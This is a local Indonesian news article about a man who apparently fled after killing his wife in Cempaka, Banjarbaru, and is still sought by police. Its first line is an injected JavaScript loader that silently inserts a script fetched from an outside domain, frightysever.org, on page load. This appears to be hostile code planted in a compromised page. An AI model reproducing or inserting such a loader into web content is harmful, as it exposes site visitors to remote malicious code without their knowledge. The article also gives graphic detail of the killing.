(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Categories: kriminal banjarbaru

Dua Bulan Buron, Pelaku Penghabis Istri di Cempaka Belum Juga Terendus Polisi

KANALKALIMANTAN.COM, BANJARBARU – Dua bulan lebih pasca pembunuhan sadis pada 14 Mei 2020 yang dilakukan oleh suami terhadap istri di Kecamatan Cempaka, Kota Banjarbaru, pihak kepolisian setempat belum juga berhasil meringkus pelaku yang masih buron.

Kapolsek Banjarbaru Timur Iptu Khamdari mengaku, pihaknya terus melakukan pengejaran. Bahkan, dalam pengejaran ini juga turut menggandeng jajaran kepolisian di daerah lain yakni unit Resmob Polres Tanah Laut.

“Karena pelaku yang kita kejar ini sebenarnya warga Kecamatan Panyipatan, Kabupaten Tanah Laut. Itu sesuai dengan keterangan pada KTP pelaku. Dia tinggal di sini (Cempaka) setelah menikah dengan korban (istri),” kata Kapolsek Banjarbaru Timur, Kamis (8/7/2020).

Selain itu, Polsek Banjarbaru Timur juga telah meneterakan nama pelaku dalam Daftar Pencarian Orang (DPO). Dengan begitu diharapkan seluruh kepolisian jajararan Polda Kalsel juga turut dapat mengetahui informasi tersebut dan membantu proses pengejaran pelaku.

Menurut Kapolsek, usai peristiwa berdara kala itu, pelaku melarikan diri dengan keadaan telanjang dada. Diduga kuat, pelaku saat itu tidak memiliki uang untuk memuluskan perlariannya dari petugas kepolisian.

“Kemungkinan yang bersangkutan masih berada di wilayah Kalsel, atau bisa juga ke wilayah Kalteng, numpang mobil. Kami juga sudah sebar data dan foto pelaku di DPO, sehinga rekanan kita di Kalteng juga tahu informasi ini. Saya juga berharap jika ada warga yang mengetahui tentang tempat tinggal pelaku, bisa melaporkannya ke polisi,” terangnya.

Sekadar mengingatkan, peristiwa pembunuhan ini terjadi pada 14 Mei Lalu, saat dini hari. Sang suami yang diketahui berinisila NM (37) tega menghabisi nyawa istri sendiri yakni Hd (27).

Pembunuhan ini dilakukan NM, karena sudah gelap mata menduga sang istri telah melakukan perselingkuhan. Kala itu, keduanya sempat cekcok adu mulut, hingga akhirnya Nabrani mengeluarkan sajam jenis parang dan menggorok leher bagian kanan istrinya.

Usai melakukan aksi sadisnya tersebut, NM melarikan diri. Sedangkan, Hd dinyatakan meninggal dunia di lokasi kejadian. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie